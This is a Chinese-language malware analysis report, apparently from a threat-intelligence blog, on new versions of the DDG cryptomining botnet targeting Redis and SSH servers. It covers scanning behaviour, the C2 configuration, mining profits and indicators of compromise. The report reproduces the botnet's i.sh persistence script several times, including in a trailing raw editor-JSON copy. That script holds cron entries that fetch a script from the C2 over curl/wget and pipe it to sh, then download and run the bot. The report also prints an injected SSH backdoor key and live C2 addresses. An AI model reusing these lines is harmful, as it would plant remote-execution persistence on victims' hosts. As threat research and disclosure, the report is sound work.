 * 样本的编写语言由旧的 Go1.9.2 换成了 Go1.10，并在代码结构、第三方库和自身功能方面进行较大改动；
 * 启用了云端配置文件，可以由云端配置文件指定要扫描的服务端口、矿机程序下载链接、本地样本更新数据等等；
 * 相同的持久驻留机制：将 i.sh 脚本写入到 Crontab 中定期更新、运行。


7379 及相关端口上的扫描流量异常

近期，我们的 ScanMon 系统显示 Redis 服务相关端口的扫描流量骤增，如下：

上图中，与该扫描相关的关联端口共计 7 个，分别是 ：

 * Redis 相关的三个：6379, 6380, 7379
 * SSH 相关的三个：22, 2222, 22222
 * HTTP 相关的一个：8000

我们在本文后续的样本分析环节中可以发现，DDG 新版本 ddgs.3011 的扫描模式与上述 ScanMon 观察到的现象非常契合。这足以证明，DDG 最新版本的活动引起了本轮 7379 及相关端口上的扫描行为。


样本执行流程

我们捕获了这次事件相关的核心样本：

hxxp://165.225.157.157:8000/static/3011/ddgs.i686    md5=999fc24f53034b4c73866a0699be15fa  


该样本的执行流程如下：

新旧样本最明显的相似之处，是通过把 i.sh 脚本植入到 Linux 系统肉鸡的 Crontab 中来实现持久驻留。新 i.sh 脚本内容如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/root  
mkdir -p /var/spool/cron/crontabs  
echo "*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh" > /var/spool/cron/crontabs/root  
echo "*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh" >> /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddgs.3011" ]; then  
    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011
fi  
chmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill


ddgs.i686 还会在失陷主机本地的 /var/spool/cron/crontabs/root 或者 /var/spool/cron/crontabs 处写入定时任务脚本，从云端下载最新的 i.sh 脚本定时执行（ %s 处为最新的 i.sh 下载链接），实现持久驻留：

*/1 * * * * curl -L %s | sh
*/1 * * * * wget -q %s -O - | sh


然后，ddgs.i686 会尝试在当前肉鸡的 ~/.ssh/authorized_keys 中注入以下 SSH Pub Key：

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost  


ddgs.i686 样本中内置了一个 ip:port 的 List，其中 2 个主要的 165.225.157.157:8000 和 165.227.149.151:8000 ，其他算是备用，全部列表如下：

iplist_v3011_1.txt

样本 ddgs.i686 启动之后，会依次连接上述 ip:port 检查是否可以访问：

对每个成功握手的 ip:port ，ddgs.i686 都会尝试向 hxxp://<C2:8000>/slave 发送 HTTP POST 请求：

如果 C2 正常工作，则会返回一串用 msgPack 序列化编码后的配置文件数据：

由于这串数据自定义了复杂的数据结构，没能成功完美解码，经过 msgPack 通用反序列化再大概还原后如下：

{
    'Data': 
        Config: 
            Interval:"360s";
            Miner:[
                {Exe: "/tmp/2t3ik.p", Md5: "b44bce2047f2254e5e7e8b0730caae2e", Url: "/static/2t3ik.p"}, 
                {Exe: "/tmp/2t3ik.m", Md5: "54259015b8ead37ac66da056769520db", Url: "/static/2t3ik.m"}
            ];
            Cmd:[
                (AAredis:{
                    Id: 6016;
                    Version: 3011; 
                    ShellUrl: "http://165.225.157.157:8000/i.sh"; 
                    Duration: "168h";
                    aIPDuration: "23h"; 
                    GenLan;
                    GenAAA;
                    Ports: (6379, 6380, 7379)
                }),
                (AAssh:{
                    Id: 2017;
                    Version: 3011;
                    ShellUrl: "http://165.225.157.157:8000/i.sh";
                    NThreadsd;
                    Duration: "168h";
                    aIPDuration:"26h"
                    GenLan;
                    GenAAA;Ports: (22, 2222, 22222)
                }),
                (Update:(
                    {
                        Id: 142;
                        Version: 3010;
                        Timeout: "26m";
                        Exe: "/tmp/ddgs.3011";
                        Md5: "999fc24f53034b4c73866a0699be15fa";
                        Url: "/static/3011/ddgs.i686";
                        Killer: 132;
                    },
                    {
                        Id: 197;
                        Version:3011;
                        Expr: ".+(cryptonight|stratum+tcp://|dwarfpool.com).+";
                        Timeout: "360s";
                    },
                    {
                        Id: 198;
                        Version: 3011;
                        Expr: "./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg";
                        Timeout: "360s";
                    },
                    {
                        Id: 199;
                        Version: 3011;
                        Expr: "/tmp/2t3ik.+";
                        Timeout: "360s";
                        LKProc: 132;
                    },
                    {
                        Id: 177;
                        Version: 3011;
                        Expr: ".+";
                        Timeout: 360s'
                    }
                )
            ],
    'Signature': '\x02\x0b_v8\xe4\xa9\xe8\x0fV\xc1\x04\xbeK\x1e\x10\x1a\xc4\xb3C}\xb2\x96D\r\x97"\xc4\xffF\xd0s)\xbf\xc4H\xa4\xa5le\xd5J\x8b\x0f8?\r\xfb\x8b)\~~\x02\xfd\xf7\xa4\xe5"hp\x11\xdd\xae\xd4\r\\\xb4\xf7)\xf1\xc4\x87\x95\x8esM\xbcq\x01Y\xe8\xe5H\x93\xde\xcc\xbbq\xc3\xdebS\x03\x90K\t4\x9e=\x94\xd1w~V\xa3\xad$\x10\'\xa2y\xaa\xe6\x0ep\xd8\x00\xf2\xf7B\xc6\x18\xa4\x16_q/K\xf8\x05\n\x98:-\x9f\xf1z\xfe\xa3\xe4C\xa8\xeeg\x0f\x7f\xd7\x8d\x02\x98\\\x1aJ\xab\xcc\xf9\xbd\x94\x83\xfd\xc3q\xad\xb5\x8d\xcb\x06\xfeQ\x1d=\x05L@\xc3\xf6\n>\xb2\xedY\x16.\x14\x7fc\xf9\xafT\xa3\xfbzq/y\xba4\xd8k\x82rh\x17\xd8\xd5\'EU~\x1ag\x0f\xb2\xa0\xa3C\xff\xcbSj\xccI\xe4\x98\x99\xc3\xe8\xfe\xe7\xfd\xf5\x07\xce\x8d\x97d\x1e\xae\ta\xf3\x8e\x05\xf7\xb7\x95\xe7\x82|\x8eS\x0b\x11\xcb\xa3'
}


结合配置文件和样本分析，可以发现以下几个关键点：

 1. 配置文件中提供了 Miner 程序的 URI、MD5 和保存到当前肉鸡的文件路径。ddgs.i686 会根据 URI，通过 HTTP GET 请求从 http://<C2:8000>/Miner_URI 处下载 Miner 程序并另存到指定路径；
 2. 配置文件中提供了最新的 i.sh 文件下载路径，ddgs.i686 会把这个路径填充到定时任务的命令字串中；
 3. 配置文件中指定了要扫描的 dstport，可以看到针对 Redis 服务，指定 ddgs.i686 扫描 (6379, 6380, 7379) 三个端口，针对 SSH 服务，指定扫描 (22, 2222, 22222) 三个端口。（这里可以解释 ScanMon 上 7 个端口之间的伴生关系。但 Redis 服务相关的 3 个端口与 SSH 服务相关的 3 个端口之间 Shared scip 数量比较少，原因可能跟蜜罐部署以及蜜罐的网络配置有关）
 4. 配置文件中的 GenLan / GenAAA 对应生成 Scan Target IP 的生成策略。样本中的 Scan Target IP 生成策略仍然同于旧版本的 ddg.miner：生成的内网网段 Target IP 范围如下：10.Y.x.x/16 (Y 为当前内网 IP B 段的值)172.16.x.x/16192.168.x.x/16当前主机的公网 IP 地址 WAN_IP ，然后在 WAN_IP/8 范围内生成公网网段 Target IP 。但是样本内有个扫描控制策略，从行为上看，针对内网 Target IP ，只扫描 SSH 服务相关的 3 个端口，我的虚拟机上运行结果只会扫 SSH 服务，看起来只有获取到了网卡的外网地址，才会针对外网的 Target IP 扫描 Redis 相关的端口。
 5. 配置文件中给出了 ddgs 样本的更新配置：最新的版本号、本地另存的文件路径、C2 端下载的 URI 以及样本的 MD5，本地已有的 ddgs.i686 样本会根据这些信息对本地样本进行更新。


挖矿

样本获取配置文件后，会根据配置文件中 Miner 的信息，去下载 2t3ik.p 和 2t3ik.m 到当前失陷主机的 /tmp/ 目录。这两个文件是 XMRig 2.5.2 编译的矿机程序，具体区别不明，关键信息都一致：

 * 钱包地址（新出现）：42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik
 * 涉及的矿池：47.90.204.154hk02.supportxmr.compool.supportxmr.comxmr-asia1.nanopool.orgxmr-us-west1.nanopool.org其中 47.90.204.154:443 是矿池 Proxy，该主机位于 阿里云 ;在矿池 supportxmr.com 中的 TotalPaid 为 150.5194868540 XMR ，按当前市价折合人民币 181,311.3 ￥ ；在矿池 nanopool.org 中TotalPaid: 1268.5880545439 XMR ，按当前市价折合人民币 1527,519.6￥。


3011 是一个测试或过渡版本

最后值得一提的是，ddgs.i686 是 32bit ELF 文件，而它下载到的 2t3ik.p 和 2t3ik.m 都是 64bit ELF 文件，这样一来，在真实环境中，矿机程序并没有办法运行。而且，版本 3011 只有hxxp://165.225.157.157:8000/static/3011/ddgs.i686 这一个核心样本，不像版本 3010 ，同时存在 ddgs.i686 和 ddgs.x86_64 两个核心样本。所以，可以认为版本 3011 目前处于测试阶段，或者只是一个过渡版本。


IoC

Sample

md5=9ebf7fc39efe7c553989d54965ebb468    uri=hxxp://165.225.157.157:8000/static/imWBR1  
md5=d3b1700a413924743caab1460129396b    uri=hxxp://165.225.157.157:8000/static/wnTKYg  
md5=8eaf1f18c006e6ecacfb1adb0ef7faee    uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes  
md5=754487fd92e282c98acf6528604049aa    uri=hxxp://165.225.157.157:8000/static/imWBR1.ig  
md5=52f06ca981a6e6cbc89b095ea6db1bf9    uri=hxxp://165.225.157.157:8000/static/2t3ik.s  
md5=b44bce2047f2254e5e7e8b0730caae2e    uri=hxxp://165.225.157.157:8000/static/2t3ik.p  
md5=54259015b8ead37ac66da056769520db    uri=hxxp://165.225.157.157:8000/static/2t3ik.m  
md5=76e8d7bf408b3b6ebd13d6b292519742    uri=hxxp://165.225.157.157:8000/static/2t3ik  
md5=999fc24f53034b4c73866a0699be15fa    uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686  
md5=8ab02497219bda76c959f86386a2c363    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686  
md5=45774309c72839d6d4303024059e7070    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64  
md5=884a57a0e4f9d222117aeca111095d7a    uri=hxxp://165.225.157.157:8000/i.sh  
{"version":"0.3.1","atoms":[],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/06/C2_host.png","alt":"","title":""}],["code",{"code":"md5=e31c1d7a8025e7c3266a07e37c55a4ba    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.i686\nmd5=26b3aef91bacfa082deff9812acf7875    uri=hxxp://69.64.32.12:8000/static/3012/ddgs.x86_64\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh\" > /var/spool/cron/root\necho \"*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh\" >> /var/spool/cron/root\nmkdir -p /var/spool/cron/crontabs\necho \"*/5 * * * * curl -fsSL hxxp://69.64.32.12:8000/i.sh | sh\" > /var/spool/cron/crontabs/root\necho \"*/5 * * * * wget -q -O- hxxp://69.64.32.12:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nps auxf | grep -v grep | grep /tmp/ddgs.3012 || rm -rf /tmp/ddgs.3012\nif [ ! -f \"/tmp/ddgs.3012\" ]; then\n    curl -fsSL hxxp://69.64.32.12:8000/static/3012/ddgs.$(uname -m) -o /tmp/ddgs.3012\nfi\nchmod +x /tmp/ddgs.3012 && /tmp/ddgs.3012\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill\nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill\n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["hr",{}],["image",{"src":"__GHOST_URL__/content/images/2018/06/ddgs_samples.png","alt":"","title":""}],["code",{"code":"c50d3e20b3519f096630e31277fefceb, hxxp://165.225.157.157:8000/static/qW3xT, 1252480 bytes, last modified 2018-05-24 15:51:10 +0000 UTC  \n532a35a8d0fe4944c24575c0336eff8a, hxxp://165.225.157.157:8000/static/qW3xT.1, 1256576 bytes, last modified 2018-05-29 13:56:16 +0000 UTC  \n"}],["code",{"code":"md5=55b1d7b0fa1c479c02660896e05db910 uri=hxxp://165.225.157.157:8000/static/3011/ddgs.x86_64  \n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/root  \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/root  \nmkdir -p /var/spool/cron/crontabs  \necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/crontabs/root  \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nps auxf | grep -v grep | grep /tmp/ddgs.3011 || rm -rf /tmp/ddgs.3011  \nif [ ! -f \"/tmp/ddgs.3011\" ]; then  \n    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.$(uname -m) -o /tmp/ddgs.3011\nfi  \nchmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["hr",{}],["image",{"src":"__GHOST_URL__/content/images/2018/05/port_scan.png","alt":"","title":""}],["code",{"code":"hxxp://165.225.157.157:8000/static/3011/ddgs.i686    md5=999fc24f53034b4c73866a0699be15fa  \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ddgs_3011_flowchart.png","alt":"","title":""}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/root  \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/root  \nmkdir -p /var/spool/cron/crontabs  \necho \"*/5 * * * * curl -fsSL hxxp://165.225.157.157:8000/i.sh | sh\" > /var/spool/cron/crontabs/root  \necho \"*/5 * * * * wget -q -O- hxxp://165.225.157.157:8000/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddgs.3011\" ]; then  \n    curl -fsSL hxxp://165.225.157.157:8000/static/3011/ddgs.i686 -o /tmp/ddgs.3011\nfi  \nchmod +x /tmp/ddgs.3011 && /tmp/ddgs.3011\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill  \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill  \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/passwords.png","alt":"","title":""}],["code",{"code":"*/1 * * * * curl -L %s | sh\n*/1 * * * * wget -q %s -O - | sh\n"}],["code",{"code":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfxLBb/eKbi0TVVULI8ILVtbv2iaGM+eZbZoCWcD3v/eF1B/VkHAC1YwIhfqkUYudwhxVfQzsOZYQmKyapWzgp3tBAxcl82Al++VQc36mf/XFnECHndJS1JZB429/w/Ao+KlASl/qzita61D2VsXyejIQIeYR7Ro+ztLSTXjx+70CvzgOae3oayunL/hGX8qORIkG5YR3R1Jefhxy1NhGxEd6GaR7fZA5QWGfM17IcSXi2Q876JL8U7Aq8cjQyN/kGT2jWiiQiOZzqbjVJVICiwk0KvtrTwppV6FLty/vdfhgyspR4WZMep41xxuBH5rBkEJO5lqbKJWatcaA8n9jR root@localhost  \n"}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ip_list_conn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/05/ip_list_http_post.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/05/http_post_resp_mask.png","alt":"","title":""}],["code",{"code":"{\n    'Data': \n        Config: \n            Interval:\"360s\";\n            Miner:[\n                {Exe: \"/tmp/2t3ik.p\", Md5: \"b44bce2047f2254e5e7e8b0730caae2e\", Url: \"/static/2t3ik.p\"}, \n                {Exe: \"/tmp/2t3ik.m\", Md5: \"54259015b8ead37ac66da056769520db\", Url: \"/static/2t3ik.m\"}\n            ];\n            Cmd:[\n                (AAredis:{\n                    Id: 6016;\n                    Version: 3011; \n                    ShellUrl: \"http://165.225.157.157:8000/i.sh\"; \n                    Duration: \"168h\";\n                    aIPDuration: \"23h\"; \n                    GenLan;\n                    GenAAA;\n                    Ports: (6379, 6380, 7379)\n                }),\n                (AAssh:{\n                    Id: 2017;\n                    Version: 3011;\n                    ShellUrl: \"http://165.225.157.157:8000/i.sh\";\n                    NThreadsd;\n                    Duration: \"168h\";\n                    aIPDuration:\"26h\"\n                    GenLan;\n                    GenAAA;Ports: (22, 2222, 22222)\n                }),\n                (Update:(\n                    {\n                        Id: 142;\n                        Version: 3010;\n                        Timeout: \"26m\";\n                        Exe: \"/tmp/ddgs.3011\";\n                        Md5: \"999fc24f53034b4c73866a0699be15fa\";\n                        Url: \"/static/3011/ddgs.i686\";\n                        Killer: 132;\n                    },\n                    {\n                        Id: 197;\n                        Version:3011;\n                        Expr: \".+(cryptonight|stratum+tcp://|dwarfpool.com).+\";\n                        Timeout: \"360s\";\n                    },\n                    {\n                        Id: 198;\n                        Version: 3011;\n                        Expr: \"./xmr-stak|./.syslog|/bin/wipefs|./xmrig|/tmp/wnTKYg\";\n                        Timeout: \"360s\";\n                    },\n                    {\n                        Id: 199;\n                        Version: 3011;\n                        Expr: \"/tmp/2t3ik.+\";\n                        Timeout: \"360s\";\n                        LKProc: 132;\n                    },\n                    {\n                        Id: 177;\n                        Version: 3011;\n                        Expr: \".+\";\n                        Timeout: 360s'\n                    }\n                )\n            ],\n    'Signature': '\\x02\\x0b_v8\\xe4\\xa9\\xe8\\x0fV\\xc1\\x04\\xbeK\\x1e\\x10\\x1a\\xc4\\xb3C}\\xb2\\x96D\\r\\x97\"\\xc4\\xffF\\xd0s)\\xbf\\xc4H\\xa4\\xa5le\\xd5J\\x8b\\x0f8?\\r\\xfb\\x8b)\\~~\\x02\\xfd\\xf7\\xa4\\xe5\"hp\\x11\\xdd\\xae\\xd4\\r\\\\\\xb4\\xf7)\\xf1\\xc4\\x87\\x95\\x8esM\\xbcq\\x01Y\\xe8\\xe5H\\x93\\xde\\xcc\\xbbq\\xc3\\xdebS\\x03\\x90K\\t4\\x9e=\\x94\\xd1w~V\\xa3\\xad$\\x10\\'\\xa2y\\xaa\\xe6\\x0ep\\xd8\\x00\\xf2\\xf7B\\xc6\\x18\\xa4\\x16_q/K\\xf8\\x05\\n\\x98:-\\x9f\\xf1z\\xfe\\xa3\\xe4C\\xa8\\xeeg\\x0f\\x7f\\xd7\\x8d\\x02\\x98\\\\\\x1aJ\\xab\\xcc\\xf9\\xbd\\x94\\x83\\xfd\\xc3q\\xad\\xb5\\x8d\\xcb\\x06\\xfeQ\\x1d=\\x05L@\\xc3\\xf6\\n>\\xb2\\xedY\\x16.\\x14\\x7fc\\xf9\\xafT\\xa3\\xfbzq/y\\xba4\\xd8k\\x82rh\\x17\\xd8\\xd5\\'EU~\\x1ag\\x0f\\xb2\\xa0\\xa3C\\xff\\xcbSj\\xccI\\xe4\\x98\\x99\\xc3\\xe8\\xfe\\xe7\\xfd\\xf5\\x07\\xce\\x8d\\x97d\\x1e\\xae\\ta\\xf3\\x8e\\x05\\xf7\\xb7\\x95\\xe7\\x82|\\x8eS\\x0b\\x11\\xcb\\xa3'\n}\n"}],["code",{"code":"md5=9ebf7fc39efe7c553989d54965ebb468    uri=hxxp://165.225.157.157:8000/static/imWBR1  \nmd5=d3b1700a413924743caab1460129396b    uri=hxxp://165.225.157.157:8000/static/wnTKYg  \nmd5=8eaf1f18c006e6ecacfb1adb0ef7faee    uri=hxxp://165.225.157.157:8000/static/wnTKYg.noaes  \nmd5=754487fd92e282c98acf6528604049aa    uri=hxxp://165.225.157.157:8000/static/imWBR1.ig  \nmd5=52f06ca981a6e6cbc89b095ea6db1bf9    uri=hxxp://165.225.157.157:8000/static/2t3ik.s  \nmd5=b44bce2047f2254e5e7e8b0730caae2e    uri=hxxp://165.225.157.157:8000/static/2t3ik.p  \nmd5=54259015b8ead37ac66da056769520db    uri=hxxp://165.225.157.157:8000/static/2t3ik.m  \nmd5=76e8d7bf408b3b6ebd13d6b292519742    uri=hxxp://165.225.157.157:8000/static/2t3ik  \nmd5=999fc24f53034b4c73866a0699be15fa    uri=hxxp://165.225.157.157:8000/static/3011/ddgs.i686  \nmd5=8ab02497219bda76c959f86386a2c363    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.i686  \nmd5=45774309c72839d6d4303024059e7070    uri=hxxp://165.225.157.157:8000/static/3010/ddgs.x86_64  \nmd5=884a57a0e4f9d222117aeca111095d7a    uri=hxxp://165.225.157.157:8000/i.sh  "}]],"markups":[["strong"],["code"],["a",["href","__GHOST_URL__/file/iplist_v3012.txt"]],["a",["href","__GHOST_URL__/file/iplist_v3011_2.txt"]],["a",["href","__GHOST_URL__/ddg-a-mining-botnet-aiming-at-database-server/"]],["a",["href","https://scan.netlab.360.com/#/dashboard?tsbeg=1525622400000&tsend=1526054400000&dstport=7379&toplistname=similardstport&topn=10"]],["a",["href","__GHOST_URL__/file/iplist_v3011_1.txt"]],["a",["href","https://msgpack.org/"]]],"sections":[[1,"p",[[0,[0],1,"UPDATE(2018.6.13)"]]],[1,"p",[[0,[],0,"6.12 日，我们监测到 DDG.Mining.Botnet 又发布了新版本，最新版本为 v3012 ，更新概要如下："]]],[3,"ul",[[[0,[],0,"更换主 C2 为 "],[0,[0],1,"69.64.32.12:8000"],[0,[],0," ；"]],[[0,[],0,"修改用来持久驻留的 i.sh 脚本；"]],[[0,[],0,"更新备用 C2 IP 列表；"]],[[0,[],0,"云端配置文件的结构、编码方式没有变化，只是里面涉及 C2 的内容指向最新的 C2；"]],[[0,[],0,"矿机程序、矿池 Proxy以及 XMR Wallet 均未变化，Wallet 地址： "],[0,[0],1,"42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"],[0,[],0,"在矿池 "],[0,[1],1,"supportxmr.com"],[0,[],0," 中 TotalPaid 为 "],[0,[0],1,"177.5497873784 XMR"],[0,[],0," ；在矿池 "],[0,[1],1,"nanopool.org"],[0,[],0," 中 TotalPaid 为 "],[0,[0],1,"6.057345747571 XMR"],[0,[],0," 。"]]]],[1,"p",[[0,[],0,"最新 C2 主页截图： "]]],[10,0],[1,"p",[[0,[],0,"最新的核心样本如下："]]],[10,1],[1,"p",[[0,[],0,"最新的 i.sh 脚本如下："]]],[10,2],[1,"p",[[0,[],0,"最新的备用 C2 IP 以及 AS 信息 List 如下："]]],[1,"p",[[0,[0,2],2,"iplist_v3012.txt"]]],[10,3],[1,"p",[[0,[0],1,"UPDATE(2018.6.1)"]]],[1,"p",[[0,[],0,"5.21 日，我们发布了关于 DDG.Mining.Botnet 的近期活动分析报告。我们发现了 ddgs v3010 和 v3011 两个版本的相关样本，并在它们共同用到的挖矿样本中发现了与 ddg v20xx 版本不同的 XMR Wallet。但由于 ddgs v3011 版本的样本并不能正常执行挖矿操作，我们把 v3011 版本定性为测试版本或过渡版本。并且，新发现的 XMR Wallet 中的挖矿收益，应为 v3011 版本之前的版本挖矿所得。"]]],[1,"p",[[0,[],0,"5.31 日，我们监测到 DDG.Mining.Botnet 又有了新动态，发布了新的关键更新，概要如下："]]],[3,"ol",[[[0,[],0,"更新了矿机程序；"]],[[0,[],0,"发布了 ddgs v3011 的 "],[0,[0],1,"x86_64"],[0,[],0," 版本的样本（之前只有 "],[0,[0],1,"i686"],[0,[],0," 版本）；"]],[[0,[],0,"更新了备用 C2 IP 列表；"]],[[0,[],0,"更新了核心 Shell 脚本文件 "],[0,[0],1,"i.sh"],[0,[],0," 。"]]]],[10,4],[1,"h3",[[0,[0],1,"新的矿机程序"]]],[1,"p",[[0,[],0,"最新的矿机程序 "],[0,[0],1,"qW3xT"],[0,[],0," 和 "],[0,[0],1,"qW3xT.1"],[0,[],0,"，由 XMRig2.6.2 编译而来，均为 64Bit ELF 文件："]]],[10,5],[1,"p",[[0,[],0,"矿机所连接的矿池以及使用的 XMR Wallet 均未变化，只是矿池 Proxy 由之前的 "],[0,[1],1,"47.90.204.154"],[0,[],0," 变成了 "],[0,[1],1,"47.52.57.128/165.225.157.157"],[0,[],0," 两个。"]]],[1,"h3",[[0,[0],1,"ddgs.x86_64"]]],[10,6],[1,"p",[[0,[],0,"v3011 版本有了 ddgs.x86_64 ，就可以在 64bit 系统的失陷主机上顺利下载、执行矿机程序来挖矿了。"],[0,[0],1,"自此， v3011 不再是测试版本或者过渡版本，而是一个可以顺利运行的版本"],[0,[],0,"。"]]],[1,"h3",[[0,[0],1,"最新的备用 C2 IP 列表"]]],[1,"p",[[0,[],0,"5.21 日我们公布了一批 ddgs.i686 样本里内置的备用 C2 IP 列表，在最新的 ddgs.x86_64 样本里，我们发现备用 C2 IP 列表有变动，最新完整的的 C2 IP 列表如下（与之前的有部分重合）："]]],[1,"p",[[0,[0,3],2,"iplist_v3011_2.txt"]]],[1,"h3",[[0,[0],1,"i.sh 的变动"]]],[1,"p",[[0,[],0,"因为 DDG.Mining.Botnet 最新版 v3011 现在集齐了 i686 和 x86_64 两个核心样本，所以现在的 "],[0,[0],1,"i.sh"],[0,[],0," 也做了相应改动，可以通过 "],[0,[1],1,"ddgs.$(uname -m)"],[0,[],0," 来适配 i686 和 x86_64 的失陷主机："]]],[10,7],[10,8],[1,"p",[[0,[0],1,"原文(2018.5.21)"]]],[1,"p",[[0,[],0,"今年 2 月 1 日，我们详细分析了一个瞄准数据库服务器的挖矿僵尸网络 "],[0,[4],1,"DDG.Mining.Botnet"],[0,[],0," 。"]]],[1,"p",[[0,[],0,"近期，我们注意到该家族发布了新的版本 3011 ，在该更新版本部署的过程中，引发了端口 7379 及相关端口上的扫描流量异常。在该版本的样本中我们发现了新的钱包地址，其在 2 个矿池里累计收益已经超过 1,419 枚 XMR。最后值得注意的是，该版本可能还处于测试阶段，或者只是一个过渡版本。"]]],[1,"p",[[0,[],0,"DDG 3011 版本的概要特征如下："]]],[3,"ul",[[[0,[],0,"启用了新的 XMR 钱包地址"],[0,[1],1,"42d4D8pASAWghyTmUS8a9yZyErA4WB18TJ6Xd2rZt9HBio2aPmAAVpHcPM8yoDEYD9Fy7eRvPJhR7SKFyTaFbSYCNZ2t3ik"],[0,[],0," ；"]],[[0,[],0,"挖矿程序变更为 "],[0,[0],1,"2t3ik"],[0,[],0," ，但命名规则没有变化，仍然是钱包地址的末尾 5 